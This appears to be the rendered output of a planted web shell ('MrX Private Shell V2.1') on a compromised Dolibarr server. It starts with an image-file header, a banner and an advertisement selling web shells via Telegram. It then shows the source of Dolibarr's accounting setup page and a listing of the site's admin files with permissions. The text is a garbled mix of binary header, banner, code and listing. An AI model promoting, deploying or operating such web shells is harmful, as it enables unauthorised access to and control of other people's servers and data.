����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
/* Copyright (C) 2004 Rodolphe Quiedeville <rodolphe@quiedeville.org>
* Copyright (C) 2004-2008 Laurent Destailleur <eldy@users.sourceforge.net>
* Copyright (C) 2005-2009 Regis Houssin <regis.houssin@inodbox.com>
* Copyright (C) 2011-2013 Juanjo Menent <jmenent@2byte.es>
* Copyright (C) 2013-2017 Philippe Grand <philippe.grand@atoo-net.com>
* Copyright (C) 2014 Marcos García <marcosgdf@gmail.com>
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
/**
* \file htdocs/admin/compta.php
* \ingroup compta
* \brief Page to setup accountancy module
*/
require '../main.inc.php';
require_once DOL_DOCUMENT_ROOT.'/core/lib/admin.lib.php';
// Load translation files required by the page
$langs->loadLangs(array('admin', 'compta', 'accountancy'));
if (!$user->admin)
accessforbidden();
$action = GETPOST('action', 'alpha');
// Other parameters ACCOUNTING_*
$list = array(
'ACCOUNTING_PRODUCT_BUY_ACCOUNT',
'ACCOUNTING_PRODUCT_SOLD_ACCOUNT',
'ACCOUNTING_SERVICE_BUY_ACCOUNT',
'ACCOUNTING_SERVICE_SOLD_ACCOUNT',
'ACCOUNTING_VAT_SOLD_ACCOUNT',
'ACCOUNTING_VAT_BUY_ACCOUNT',
'ACCOUNTING_ACCOUNT_CUSTOMER',
'ACCOUNTING_ACCOUNT_SUPPLIER'
);
/*
* Actions
*/
$accounting_mode = empty($conf->global->ACCOUNTING_MODE) ? 'RECETTES-DEPENSES' : $conf->global->ACCOUNTING_MODE;
if ($action == 'update')
{
$error = 0;
$accounting_modes = array(
'RECETTES-DEPENSES',
'CREANCES-DETTES'
);
$accounting_mode = GETPOST('accounting_mode', 'alpha');
if (in_array($accounting_mode, $accounting_modes)) {
if (!dolibarr_set_const($db, 'ACCOUNTING_MODE', $accounting_mode, 'chaine', 0, '', $conf->entity)) {
$error++;
}
} else {
$error++;
}
foreach ($list as $constname) {
$constvalue = GETPOST($constname, 'alpha');
if (!dolibarr_set_const($db, $constname, $constvalue, 'chaine', 0, '', $conf->entity)) {
$error++;
}
}
if (! $error)
{
setEventMessages($langs->trans("SetupSaved"), null, 'mesgs');
}
else
{
setEventMessages($langs->trans("Error"), null, 'errors');
}
}
/*
* View
*/
llxHeader();
$form=new Form($db);
$linkback='<a href="'.DOL_URL_ROOT.'/admin/modules.php?restore_lastsearch_values=1">'.$langs->trans("BackToModuleList").'</a>';
print load_fiche_titre($langs->trans('ComptaSetup'), $linkback, 'title_setup');
print '<br>';
print '<form action="'.$_SERVER["PHP_SELF"].'" method="post">';
print '<input type="hidden" name="token" value="'.$_SESSION['newtoken'].'">';
print '<input type="hidden" name="action" value="update">';
print '<table class="noborder" width="100%">';
// case of the parameter ACCOUNTING_MODE
print '<tr class="liste_titre">';
print '<td>'.$langs->trans('OptionMode').'</td><td>'.$langs->trans('Description').'</td>';
print "</tr>\n";
print '<tr class="oddeven"><td width="200"><input type="radio" name="accounting_mode" value="RECETTES-DEPENSES"'.($accounting_mode != 'CREANCES-DETTES' ? ' checked' : '').'> '.$langs->trans('OptionModeTrue').'</td>';
print '<td colspan="2">'.nl2br($langs->trans('OptionModeTrueDesc'));
// Write info on way to count VAT
//if (! empty($conf->global->MAIN_MODULE_COMPTABILITE))
//{
// // print "<br>\n";
// // print nl2br($langs->trans('OptionModeTrueInfoModuleComptabilite'));
//}
//else
//{
// // print "<br>\n";
// // print nl2br($langs->trans('OptionModeTrueInfoExpert'));
//}
print "</td></tr>\n";
print '<tr class="oddeven"><td width="200"><input type="radio" name="accounting_mode" value="CREANCES-DETTES"'.($accounting_mode == 'CREANCES-DETTES' ? ' checked' : '').'> '.$langs->trans('OptionModeVirtual').'</td>';
print '<td colspan="2">'.nl2br($langs->trans('OptionModeVirtualDesc'))."</td></tr>\n";
print "</table>\n";
print "<br>\n";
print '<table class="noborder" width="100%">';
print '<tr class="liste_titre">';
print '<td colspan="3">'.$langs->trans('OtherOptions').'</td>';
print "</tr>\n";
foreach ($list as $key)
{
print '<tr class="oddeven value">';
// Param
$libelle = $langs->trans($key);
print '<td><label for="'.$key.'">'.$libelle.'</label></td>';
// Value
print '<td>';
print '<input type="text" size="20" id="'.$key.'" name="'.$key.'" value="'.$conf->global->$key.'">';
print '</td></tr>';
}
print "</table>\n";
print '<br><br><div style="text-align:center"><input type="submit" class="button" value="'.$langs->trans('Modify').'" name="button"></div>';
print '</form>';
// End of page
llxFooter();
$db->close();
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| dolistore | Folder | 0755 |
|
|
| menus | Folder | 0755 |
|
|
| system | Folder | 0755 |
|
|
| tools | Folder | 0755 |
|
|
| accountant.php | File | 12.11 KB | 0644 |
|
| agenda.php | File | 6.9 KB | 0644 |
|
| agenda_extrafields.php | File | 4.05 KB | 0644 |
|
| agenda_extsites.php | File | 8.28 KB | 0644 |
|
| agenda_other.php | File | 13.79 KB | 0644 |
|
| agenda_reminder.php | File | 7.64 KB | 0644 |
|
| agenda_xcal.php | File | 8.51 KB | 0644 |
|
| bank.php | File | 15.28 KB | 0644 |
|
| bank_extrafields.php | File | 3.94 KB | 0644 |
|
| barcode.php | File | 13.3 KB | 0644 |
|
| bom.php | File | 19.14 KB | 0644 |
|
| boxes.php | File | 16.47 KB | 0644 |
|
| chequereceipts.php | File | 9.19 KB | 0644 |
|
| clicktodial.php | File | 4.96 KB | 0644 |
|
| commande.php | File | 22.97 KB | 0644 |
|
| commande_fournisseur_dispatch_extrafields.php | File | 4.2 KB | 0644 |
|
| company.php | File | 50.66 KB | 0644 |
|
| compta.php | File | 5.06 KB | 0644 |
|
| confexped.php | File | 4.44 KB | 0644 |
|
| const.php | File | 8.76 KB | 0644 |
|
| contract.php | File | 16.82 KB | 0644 |
|
| dav.php | File | 5.44 KB | 0644 |
|
| debugbar.php | File | 3.63 KB | 0644 |
|
| defaultvalues.php | File | 15.43 KB | 0644 |
|
| delais.php | File | 14.61 KB | 0644 |
|
| dict.php | File | 98.49 KB | 0644 |
|
| ecm.php | File | 2.96 KB | 0644 |
|
| emailcollector_card.php | File | 26.66 KB | 0644 |
|
| emailcollector_list.php | File | 22.51 KB | 0644 |
|
| events.php | File | 3.34 KB | 0644 |
|
| expedition.php | File | 17.34 KB | 0644 |
|
| expedition_extrafields.php | File | 4.12 KB | 0644 |
|
| expeditiondet_extrafields.php | File | 4.18 KB | 0644 |
|
| expensereport.php | File | 16.41 KB | 0644 |
|
| expensereport_extrafields.php | File | 4.06 KB | 0644 |
|
| expensereport_ik.php | File | 6.15 KB | 0644 |
|
| expensereport_rules.php | File | 11.07 KB | 0644 |
|
| export.php | File | 3.09 KB | 0644 |
|
| external_rss.php | File | 9.84 KB | 0644 |
|
| facture.php | File | 31.87 KB | 0644 |
|
| fckeditor.php | File | 7.85 KB | 0644 |
|
| fichinter.php | File | 21.23 KB | 0644 |
|
| geoipmaxmind.php | File | 4.88 KB | 0644 |
|
| holiday.php | File | 17.15 KB | 0644 |
|
| ihm.php | File | 25.84 KB | 0644 |
|
| index.php | File | 5.01 KB | 0644 |
|
| ldap.php | File | 12.66 KB | 0644 |
|
| ldap_contacts.php | File | 14.99 KB | 0644 |
|
| ldap_groups.php | File | 9.14 KB | 0644 |
|
| ldap_members.php | File | 19.96 KB | 0644 |
|
| ldap_members_types.php | File | 8.77 KB | 0644 |
|
| ldap_users.php | File | 19.88 KB | 0644 |
|
| limits.php | File | 11.75 KB | 0644 |
|
| livraison.php | File | 15.98 KB | 0644 |
|
| livraison_extrafields.php | File | 4.12 KB | 0644 |
|
| livraisondet_extrafields.php | File | 4.19 KB | 0644 |
|
| loan.php | File | 3.23 KB | 0644 |
|
| mailing.php | File | 5.43 KB | 0644 |
|
| mailman.php | File | 7.97 KB | 0644 |
|
| mails.php | File | 37.39 KB | 0644 |
|
| mails_emailing.php | File | 25.29 KB | 0644 |
|
| mails_senderprofile_list.php | File | 19.89 KB | 0644 |
|
| mails_templates.php | File | 45.42 KB | 0644 |
|
| menus.php | File | 9.94 KB | 0644 |
|
| modulehelp.php | File | 18.72 KB | 0644 |
|
| modules.php | File | 47.46 KB | 0644 |
|
| multicurrency.php | File | 12.68 KB | 0644 |
|
| notification.php | File | 10.78 KB | 0644 |
|
| oauth.php | File | 4.75 KB | 0644 |
|
| oauthlogintokens.php | File | 13.62 KB | 0644 |
|
| openinghours.php | File | 7.95 KB | 0644 |
|
| order_extrafields.php | File | 3.99 KB | 0644 |
|
| orderdet_extrafields.php | File | 4.07 KB | 0644 |
|
| payment.php | File | 9.93 KB | 0644 |
|
| pdf.php | File | 22.38 KB | 0644 |
|
| perms.php | File | 6.58 KB | 0644 |
|
| prelevement.php | File | 19.35 KB | 0644 |
|
| propal.php | File | 25.24 KB | 0644 |
|
| proxy.php | File | 6.78 KB | 0644 |
|
| receiptprinter.php | File | 16.75 KB | 0644 |
|
| reception_extrafields.php | File | 4.11 KB | 0644 |
|
| reception_setup.php | File | 16.96 KB | 0644 |
|
| resource.php | File | 4.14 KB | 0644 |
|
| resource_extrafields.php | File | 3.96 KB | 0644 |
|
| salaries.php | File | 3.23 KB | 0644 |
|
| security.php | File | 15.86 KB | 0644 |
|
| security_file.php | File | 6.91 KB | 0644 |
|
| security_other.php | File | 6.11 KB | 0644 |
|
| sms.php | File | 11.31 KB | 0644 |
|
| socialnetworks.php | File | 3.21 KB | 0644 |
|
| spip.php | File | 4.88 KB | 0644 |
|
| stock.php | File | 16.71 KB | 0644 |
|
| supplier_invoice.php | File | 18.5 KB | 0644 |
|
| supplier_order.php | File | 21.15 KB | 0644 |
|
| supplier_payment.php | File | 16.44 KB | 0644 |
|
| supplier_proposal.php | File | 20.35 KB | 0644 |
|
| supplierinvoice_extrafields.php | File | 4.13 KB | 0644 |
|
| supplierinvoicedet_extrafields.php | File | 4.2 KB | 0644 |
|
| supplierorder_extrafields.php | File | 4.05 KB | 0644 |
|
| supplierorderdet_extrafields.php | File | 4.12 KB | 0644 |
|
| syslog.php | File | 10.12 KB | 0644 |
|
| taxes.php | File | 8.8 KB | 0644 |
|
| ticket.php | File | 18.65 KB | 0644 |
|
| ticket_extrafields.php | File | 3.8 KB | 0644 |
|
| ticket_public.php | File | 17.54 KB | 0644 |
|
| translation.php | File | 22.63 KB | 0644 |
|
| triggers.php | File | 2.7 KB | 0644 |
|
| user.php | File | 11.4 KB | 0644 |
|
| usergroup.php | File | 10.14 KB | 0644 |
|
| website.php | File | 23.24 KB | 0644 |
|
| website_options.php | File | 4.65 KB | 0644 |
|
| workflow.php | File | 7.02 KB | 0644 |
|